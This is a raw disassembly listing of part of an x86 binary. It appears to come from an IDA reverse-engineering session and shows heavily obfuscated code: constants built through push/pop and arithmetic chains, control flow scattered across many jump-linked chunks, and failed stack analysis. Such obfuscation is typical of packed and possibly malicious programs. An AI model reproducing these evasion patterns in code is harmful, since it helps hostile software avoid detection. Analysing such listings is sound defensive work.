; START	OF FUNCTION CHUNK FOR sub_42C547


loc_42D20A:				; CODE XREF: sub_42C547:loc_42DB10j
		or	ecx, 0C2F9B667h
		and	ecx, 60B9C1A1h
		add	ecx, 9F892383h
		mov	[ecx], eax
		mov	ecx, offset nullsub_3
		push	offset sub_428D01
		jmp	loc_425A2C
; END OF FUNCTION CHUNK	FOR sub_42C547

; =============== S U B	R O U T	I N E =======================================



sub_42D22D	proc near		; CODE XREF: wto1jq8f:004259D8j
					; sub_42A909-34EDp

; FUNCTION CHUNK AT 00429738 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		test	al, al
		jz	nullsub_213
		jmp	loc_429738
sub_42D22D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42D23E:				; CODE XREF: sub_42A909-4C79j
		or	edx, 373234A5h
		jmp	loc_42A931
; ---------------------------------------------------------------------------


loc_42D249:				; CODE XREF: sub_42A909+4Cj
		test	al, al
		jz	loc_428ED1
		jmp	loc_42ED98
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		push	offset sub_428EF4
		jmp	locret_42FAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42D260:				; CODE XREF: sub_426535-186Aj
					; wto1jq8f:loc_429DB2j
		rol	edi, 1Ah
		push	2D01A48Ch
		xchg	edi, edx


loc_42D26A:				; CODE XREF: sub_426535:loc_429F3Ej
		push	esi
		push	0F4F9E7F2h
		pop	esi
		sub	esi, 94589621h
		jmp	loc_42677D
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		xor	ecx, edi
		jmp	loc_42672F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42D284:				; CODE XREF: sub_429B76-1FC3j
		jmp	loc_42ADDB
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42D289:				; CODE XREF: sub_42E9E8-A7ECj
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D120


loc_42D28E:				; CODE XREF: sub_42D120-5C4Fj
					; sub_42D120:loc_42B917j
		call	sub_424585
		mov	edx, 0F2B89A19h
		call	sub_429165
		call	sub_428136
; END OF FUNCTION CHUNK	FOR sub_42D120
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42D2A2:				; CODE XREF: sub_429BFF:loc_425F21j
		mov	edx, 3BD2EC5Ch
		push	ecx
		push	7112064Bh
		pop	ecx
		add	ecx, 8F30BA52h
		jmp	loc_42D01C
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------


loc_42D2B9:				; CODE XREF: wto1jq8f:0042964Ej
		and	ecx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_42D2BB	proc near		; CODE XREF: sub_42AA68:loc_4270DCj
					; wto1jq8f:004276A7p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0042A1CC SIZE 0000000E BYTES

		mov	[esp+0], edx
		pop	edx
		push	esi
		pushf
		push	0AE6E6E65h
		xchg	edx, [esp+8+var_8]
		mov	esi, edx
		jmp	loc_42A1CC
sub_42D2BB	endp

; ---------------------------------------------------------------------------


loc_42D2D0:				; DATA XREF: sub_426535+3F12o
		test	al, al
		jz	loc_42A68E
		jmp	loc_426383
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AE5E


loc_42D2DD:				; CODE XREF: sub_42AE5E:loc_42EFF7j
		xchg	ebp, [esp-4+arg_0]
		mov	esi, ebp
		pop	ebp
		push	offset sub_42BC8B
		jmp	nullsub_253
; END OF FUNCTION CHUNK	FOR sub_42AE5E
; ---------------------------------------------------------------------------


loc_42D2ED:				; CODE XREF: wto1jq8f:0042FE0Cj
					; DATA XREF: sub_429816+3966o
		push	1C2B6FC9h
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_4293FF


loc_42D2F3:				; CODE XREF: sub_4293FF:loc_42C988j
		add	ebx, 0E416F427h


loc_42D2F9:				; CODE XREF: wto1jq8f:00427624j
		popf
		xchg	ebx, [esp+0]
		jmp	loc_42B13C
; END OF FUNCTION CHUNK	FOR sub_4293FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42708B


loc_42D302:				; CODE XREF: sub_42708B:loc_424AC8j
					; sub_42708B+221Bj
		mov	eax, 0BB8h
		call	sub_424F23
		add	eax, 0BB8h


loc_42D311:				; CODE XREF: wto1jq8f:0042A6B4j
		push	eax
		call	sub_429E5B


loc_42D317:				; CODE XREF: sub_42FF9A-72F4j
		jmp	nullsub_170
; END OF FUNCTION CHUNK	FOR sub_42708B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CED1


loc_42D31D:				; CODE XREF: sub_42CED1+Dj
		jmp	loc_42FD02
; END OF FUNCTION CHUNK	FOR sub_42CED1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D322	proc near		; CODE XREF: sub_427A30:loc_427412j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00429857 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A130 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042BEA8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E72F SIZE 00000015 BYTES

		push	ebp
		mov	ebp, esp
		push	66827416h
		mov	[esp+4+var_4], ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_42A130
sub_42D322	endp

; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 3Eh
		dd 0BFFFF8Ch, 0D293E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42D342:				; CODE XREF: wto1jq8f:00428F85j
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_42D343	proc near		; CODE XREF: wto1jq8f:004280FCp

; FUNCTION CHUNK AT 0042CA88 SIZE 0000001A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	0EDDC533Dh
		pop	ebx
		jmp	loc_42CA88
sub_42D343	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42D352:				; DATA XREF: sub_42D9D9-5917o
		mov	[ebp-4], eax
		jmp	loc_42699F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D35A	proc near		; CODE XREF: sub_42628C-1B75p
					; sub_429C18p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042DAA4 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		jmp	loc_42DAA4
sub_42D35A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D368	proc near		; CODE XREF: wto1jq8f:00424067j
					; sub_428C71:loc_42CD5Cp

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	edi, [esp-4+arg_0]
		mov	ebp, edi
		jmp	loc_42EFC5
sub_42D368	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A8ED


loc_42D376:				; CODE XREF: sub_42A8ED:loc_427916j
		jnz	loc_42443C
		lea	edx, [ebp-14h]
		mov	eax, offset dword_425924
		call	sub_42A56D
		lea	eax, [ebp-14h]
		push	eax
		call	sub_42B02D
		jmp	loc_42BA9F
; END OF FUNCTION CHUNK	FOR sub_42A8ED

; =============== S U B	R O U T	I N E =======================================



sub_42D397	proc near		; CODE XREF: sub_42A8ED+4j

; FUNCTION CHUNK AT 004240D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042BAF1 SIZE 00000016 BYTES

		push	ebp
		jmp	loc_4240D7
sub_42D397	endp

; ---------------------------------------------------------------------------
		push	eax
		push	80BD82B9h
		pop	eax
		sub	eax, ds:4000F1h
		call	sub_42F7AD


loc_42D3AF:				; CODE XREF: wto1jq8f:0042D984j
		jmp	sub_424585
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4264F4


loc_42D3B4:				; CODE XREF: sub_4264F4+7j
		jmp	loc_42632D
; END OF FUNCTION CHUNK	FOR sub_4264F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AF82


loc_42D3B9:				; CODE XREF: sub_42AF82-2F73j
					; sub_42AF82:loc_42AF90j
		call	nullsub_6
		retn
; END OF FUNCTION CHUNK	FOR sub_42AF82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42D3BF:				; CODE XREF: sub_426535+9402j
		jmp	loc_42416B
; END OF FUNCTION CHUNK	FOR sub_426535
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42D3C6:				; CODE XREF: sub_4282C1:loc_42DA64j
		jz	loc_42E137
		jmp	loc_42FE3E
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
		push	1AA89F6Ah
		pop	eax
		sub	eax, 0FFEC7AE9h
		xor	eax, 291B1ED2h
		jmp	loc_42DCEB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_42D3E8:				; CODE XREF: sub_424F7A+9A31j
		jp	sub_4263B3


loc_42D3EE:				; CODE XREF: sub_424F7A:loc_427840j
		call	sub_424585
		mov	edx, 17B3C1CFh
		call	sub_429165
		jmp	loc_425BF3
; END OF FUNCTION CHUNK	FOR sub_424F7A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42459B


loc_42D403:				; CODE XREF: sub_42459Bj
		call	sub_42628C
; END OF FUNCTION CHUNK	FOR sub_42459B
; START	OF FUNCTION CHUNK FOR sub_42CE80


loc_42D408:				; CODE XREF: sub_42CE80+B2Bj
		jmp	nullsub_92
; END OF FUNCTION CHUNK	FOR sub_42CE80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42D40D:				; CODE XREF: sub_42D9D9-100Aj
		jmp	loc_42876D
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------


loc_42D412:				; CODE XREF: wto1jq8f:0042B11Aj
		jmp	loc_42C7F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42D417:				; CODE XREF: sub_42C486-16CFj
		push	0B51265C0h
		pop	ecx
		sub	ecx, 0C4CB4C25h
		rol	ecx, 0Ah
		add	ecx, 0E3DC7F01h


loc_42D42C:				; CODE XREF: sub_42C486:loc_425BD2j
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_42E87D
; END OF FUNCTION CHUNK	FOR sub_42C486

; =============== S U B	R O U T	I N E =======================================



sub_42D434	proc near		; CODE XREF: sub_42A197-56E7p
					; sub_427143:loc_42A474j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042667D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042724C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427538 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00427F29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042822F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428454 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042A2F0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A803 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A94B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CB7A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D58D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042DAD0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042E4B5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EFF5 SIZE 00000002 BYTES

		mov	[esp-4+arg_0], ecx
		pop	ecx
		xor	[ebp-0Ah], al
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-4]
		jmp	loc_42A94B
sub_42D434	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42D446	proc near		; CODE XREF: sub_42A2B8:loc_42E4ADp
		mov	eax, 5Eh
		retn
sub_42D446	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D44C	proc near		; DATA XREF: sub_429A28+9o

; FUNCTION CHUNK AT 00424097 SIZE 00000017 BYTES

		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-14h], 4
		mov	eax, [ebp-14h]
		mov	[ebp-4], eax
		jmp	loc_424097
sub_42D44C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_187. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42D469:				; DATA XREF: sub_42F614-B180o
		push	offset sub_42E7D7
		jmp	locret_426382
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42D473:				; CODE XREF: sub_426535:loc_4277FAj
		jz	loc_42BD93
		jmp	loc_427ABC
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4245B5


loc_42D47E:				; CODE XREF: sub_42FFBA:loc_424FA8j
					; sub_4245B5:loc_42D536j
		push	ecx
		mov	esp, ebp
		pop	ebp
		call	sub_42F81B


loc_42D487:				; CODE XREF: wto1jq8f:00428697j
		jmp	loc_4272DE
; END OF FUNCTION CHUNK	FOR sub_4245B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42D48C:				; CODE XREF: sub_42760F+5455j
		push	offset sub_42C6C3
		jmp	loc_42A734
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------


loc_42D496:				; DATA XREF: sub_42408D+1903o
		push	1BAFF698h
		pop	eax
		add	eax, 0FCF1E6C0h
		xor	eax, 0F1C4A19Dh
		add	eax, 16DD7527h
		mov	eax, [eax]
		call	sub_42FFBA
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42D4B5:				; CODE XREF: sub_42AECE+Aj
		jmp	loc_42673A
; END OF FUNCTION CHUNK	FOR sub_42AECE
; ---------------------------------------------------------------------------
		xchg	ebp, [eax]
		jmp	sub_425EA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B3E


loc_42D4C1:				; CODE XREF: sub_428B3E+4j
		push	95F725AFh
		pop	ebx
		xor	ebx, 0F123F984h
		add	ebx, 7D3EDADDh
		add	ebx, ebp
		jmp	loc_42797C
; END OF FUNCTION CHUNK	FOR sub_428B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428BC4


loc_42D4DA:				; CODE XREF: wto1jq8f:004269BBj
					; sub_428BC4+10j
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		push	dword ptr [ebp-4]
		call	sub_42D4FD
		push	dword ptr [ebp-4]
		call	sub_428C71
		jmp	loc_427DD9
; END OF FUNCTION CHUNK	FOR sub_428BC4

; =============== S U B	R O U T	I N E =======================================



sub_42D4FD	proc near		; CODE XREF: sub_428BC4+4927p

; FUNCTION CHUNK AT 00428EC7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A9D4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042B16D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042C6D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D564 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DBF9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00430000 SIZE 0000000B BYTES

		push	ebp
		jmp	loc_428EC7
sub_42D4FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D69D


loc_42D503:				; CODE XREF: sub_42D69D+22j
		jz	loc_42FE23
		jmp	loc_42EA00
; END OF FUNCTION CHUNK	FOR sub_42D69D
; ---------------------------------------------------------------------------


loc_42D50E:				; DATA XREF: sub_42658A:loc_4250CAo
		mov	eax, [ebp-0Ch]
		call	sub_42F99C
; START	OF FUNCTION CHUNK FOR sub_429459


loc_42D516:				; CODE XREF: sub_429459+1665j
		jmp	loc_42C187
; END OF FUNCTION CHUNK	FOR sub_429459
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42D51B:				; CODE XREF: sub_42F6A9-A90Ej
		jmp	loc_4293A4
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_42D520:				; CODE XREF: sub_4282FE:loc_4287FDj
		jnz	loc_425F84
		jmp	loc_426DFC
; END OF FUNCTION CHUNK	FOR sub_4282FE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DDE6


loc_42D52C:				; CODE XREF: sub_42DDE6:loc_42DDFCj
		jmp	loc_42EF69
; END OF FUNCTION CHUNK	FOR sub_42DDE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42D531:				; CODE XREF: sub_42E9E8-3D75j
		jmp	loc_42CE14
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4245B5


loc_42D536:				; CODE XREF: sub_4245B5+9j
		jmp	loc_42D47E
; END OF FUNCTION CHUNK	FOR sub_4245B5

; =============== S U B	R O U T	I N E =======================================



sub_42D53B	proc near		; CODE XREF: sub_4250D4+6DC0p
					; wto1jq8f:0042CB29j

; FUNCTION CHUNK AT 0042757C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C1BF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042F4DE SIZE 0000000A BYTES

		xchg	eax, [esp+0]
		pop	eax
		jz	loc_42F4DE


loc_42D545:				; CODE XREF: sub_42A6CD-5A9Bj
		push	ebp
		jmp	loc_42757C
sub_42D53B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_42D54B:				; CODE XREF: sub_4260DB:loc_426DE5j
		rol	eax, 17h
		test	eax, 40000000h
		jmp	loc_4284C9
; END OF FUNCTION CHUNK	FOR sub_4260DB
; ---------------------------------------------------------------------------


loc_42D559:				; CODE XREF: wto1jq8f:loc_42810Bj
					; wto1jq8f:00429332j
		call	nullsub_5
		retn
; ---------------------------------------------------------------------------


loc_42D55F:				; CODE XREF: wto1jq8f:0042EEC7j
		jmp	locret_424784
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D4FD


loc_42D564:				; CODE XREF: sub_42D4FD-E1Ej
		jmp	loc_430000
; END OF FUNCTION CHUNK	FOR sub_42D4FD
; ---------------------------------------------------------------------------


loc_42D569:				; CODE XREF: wto1jq8f:loc_42C5F6j
		call	sub_42CB36
		push	offset sub_42A909
		jmp	locret_4283EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C4CF


loc_42D578:				; CODE XREF: sub_42C4CF+Ej
		add	eax, 4
		mov	edx, [eax]
		mov	al, 1
		push	offset loc_42EE84
		jmp	nullsub_83
; END OF FUNCTION CHUNK	FOR sub_42C4CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428BA9


loc_42D589:				; CODE XREF: sub_428BA9:loc_426E01j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_428BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42D58D:				; CODE XREF: sub_42D434:loc_42E4B5j
		mov	eax, [ebp-4]
		jmp	loc_42667D
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42D595:				; CODE XREF: sub_42A6CD-4BF7j
		rol	edx, 1Ah
		test	edx, 40000000h
		jmp	loc_42D684
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42D5A3:				; CODE XREF: sub_42506F:loc_425074j
		mov	eax, [ebp-8]
		mov	dword ptr [ebp+eax*4-70h], 73257325h
		inc	dword ptr [ebp-8]
		cmp	dword ptr [ebp-8], 19h
		jmp	loc_42C579
; END OF FUNCTION CHUNK	FOR sub_42506F

; =============== S U B	R O U T	I N E =======================================



sub_42D5BA	proc near		; CODE XREF: wto1jq8f:0042BABBj
					; sub_42669E+81FCp

; FUNCTION CHUNK AT 0042CE69 SIZE 0000000C BYTES

		mov	[esp+0], edx
		pop	edx
		add	edx, ebp
		jmp	loc_42CE69
sub_42D5BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 61h,	7Bh, 0A6h
dword_42D5C8	dd 0		dword_42D5CC	dd 0							; sub_4266B1+Dr ...
dword_42D5D0	dd 0B0EC4658h, 23994B1Ch, 0B136C817h, 0DEFCED00h
					; DATA XREF: sub_42C486:loc_427D3Co
					; sub_42B2A8+7o
dword_42D5E0	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42D5E4:				; CODE XREF: sub_426535+4079j
		jmp	loc_42F6EF
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42660F


loc_42D5E9:				; CODE XREF: sub_42660F+1j
		jmp	loc_425EE9
; END OF FUNCTION CHUNK	FOR sub_42660F
; ---------------------------------------------------------------------------
		db 81h,	0C2h
dword_42D5F0	dd 0							; sub_426968:loc_42E3EAr
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424232


loc_42D5F4:				; CODE XREF: sub_424232+Aj
					; sub_42E9E8:loc_427361j
		jmp	loc_426919
; END OF FUNCTION CHUNK	FOR sub_424232
; ---------------------------------------------------------------------------
		db 60h,	0B0h, 95h
dword_42D5FC	dd 0							; sub_425B46+8A3Cw
dword_42D600	dd 0							; sub_42F2C7-416Bw
dword_42D604	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429165


loc_42D608:				; CODE XREF: sub_429165+4A7Dj
		jmp	loc_4249D6
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_42D60D:				; CODE XREF: sub_4283CC-226Dj
		jmp	loc_424728
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------


loc_42D612:				; CODE XREF: wto1jq8f:004281D0j
		add	eax, 0E4451709h
		add	eax, ebp
		add	eax, 14FA1071h
		mov	eax, [eax]


loc_42D622:				; CODE XREF: wto1jq8f:00429648j
		cmp	eax, ds:dword_42F1E0
		jz	loc_4245A9
		jmp	loc_428631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42D633:				; CODE XREF: sub_429BFF+207Dj
		and	ecx, edx
		push	ebx


loc_42D636:				; CODE XREF: sub_429BFF:loc_42B99Dj
		push	2F6431C9h
		pop	eax
		xor	eax, 0F318B26h
		add	eax, ebp
		add	eax, 0DFAA450Dh
		jmp	loc_42EF6F
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------


loc_42D64F:				; CODE XREF: wto1jq8f:0042D0C2j
		shl	ebx, 8
		jmp	loc_426AF5
; ---------------------------------------------------------------------------

locret_42D657:				; CODE XREF: wto1jq8f:0042B61Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E597


loc_42D658:				; CODE XREF: sub_42E597+9j
		jmp	loc_42A573
; END OF FUNCTION CHUNK	FOR sub_42E597
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242F8


loc_42D65D:				; CODE XREF: sub_4242F8:loc_42EA1Cj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_42D673
		add	[ebp+var_8], 4
		jmp	loc_42EA25
; ---------------------------------------------------------------------------


loc_42D673:				; CODE XREF: sub_4242F8+936Cj
		add	[ebp+var_8], 2
		jmp	loc_42EA25
; END OF FUNCTION CHUNK	FOR sub_4242F8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D67C	proc near		; CODE XREF: sub_42BE7E+4p
					; sub_42D53B-1379p

; FUNCTION CHUNK AT 0042BD85 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_42BD85
sub_42D67C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42D684:				; CODE XREF: sub_42A6CD+2ED1j
		jz	loc_428CB8
		add	edx, eax
		jmp	loc_428CB7
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_42D692:				; CODE XREF: sub_42EFB5:loc_4265A9j
		jz	loc_427DFF
		jmp	loc_42BD22
; END OF FUNCTION CHUNK	FOR sub_42EFB5

; =============== S U B	R O U T	I N E =======================================



sub_42D69D	proc near		; DATA XREF: sub_42D753+2o

; FUNCTION CHUNK AT 0042AC55 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042C251 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042D503 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DEC5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042EA00 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042FB99 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042FE22 SIZE 0000001C BYTES

		push	0A4D0F924h
		pop	eax
		xor	eax, 1A1C1F21h
		and	eax, 63838402h
		add	eax, 0DDC25720h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42FB99
		jmp	loc_42D503
sub_42D69D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_42D6C4:				; CODE XREF: sub_42F25F-84BEj
		jnb	loc_429929
		sub	esi, 98A4289Bh
		sbb	ebp, eax
		test	ebx, 0D37F0AC4h
		jmp	loc_42B0EE
; END OF FUNCTION CHUNK	FOR sub_42F25F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D953


loc_42D6DE:				; CODE XREF: sub_42D953+Bj
		jmp	nullsub_228
; END OF FUNCTION CHUNK	FOR sub_42D953
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CE2


loc_42D6E3:				; CODE XREF: sub_425CE2+37B2j
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		jmp	loc_42BA3A
; END OF FUNCTION CHUNK	FOR sub_425CE2
; ---------------------------------------------------------------------------


loc_42D6EF:				; CODE XREF: wto1jq8f:0042C8B1j
		call	sub_42596F
		call	sub_4267AE
; START	OF FUNCTION CHUNK FOR sub_42A617


loc_42D6F9:				; CODE XREF: sub_42A617:loc_42FE89j
		mov	edx, [ebp+8]
		mov	[edx-8], eax
; END OF FUNCTION CHUNK	FOR sub_42A617
; START	OF FUNCTION CHUNK FOR sub_424BAC


loc_42D6FF:				; CODE XREF: sub_424BAC+Ej
					; sub_426968+C74j ...
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424BAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42D70C:				; CODE XREF: sub_426C0C+8447j
		jge	loc_42C339
		test	ebx, 0C02F0875h
		jmp	loc_42A85D
; END OF FUNCTION CHUNK	FOR sub_426C0C

; =============== S U B	R O U T	I N E =======================================



sub_42D71D	proc near		; CODE XREF: wto1jq8f:0042E040j
					; sub_42E785+7p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004274EA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00429060 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429096 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042CF99 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ecx, eax


loc_42D723:				; CODE XREF: sub_429471:loc_42BF35j
		push	eax
		push	0BC8EF675h
		pop	eax
		jmp	loc_429060
sub_42D71D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42D72F:				; CODE XREF: sub_429BFF:loc_42EF6Fj
		mov	eax, [eax]
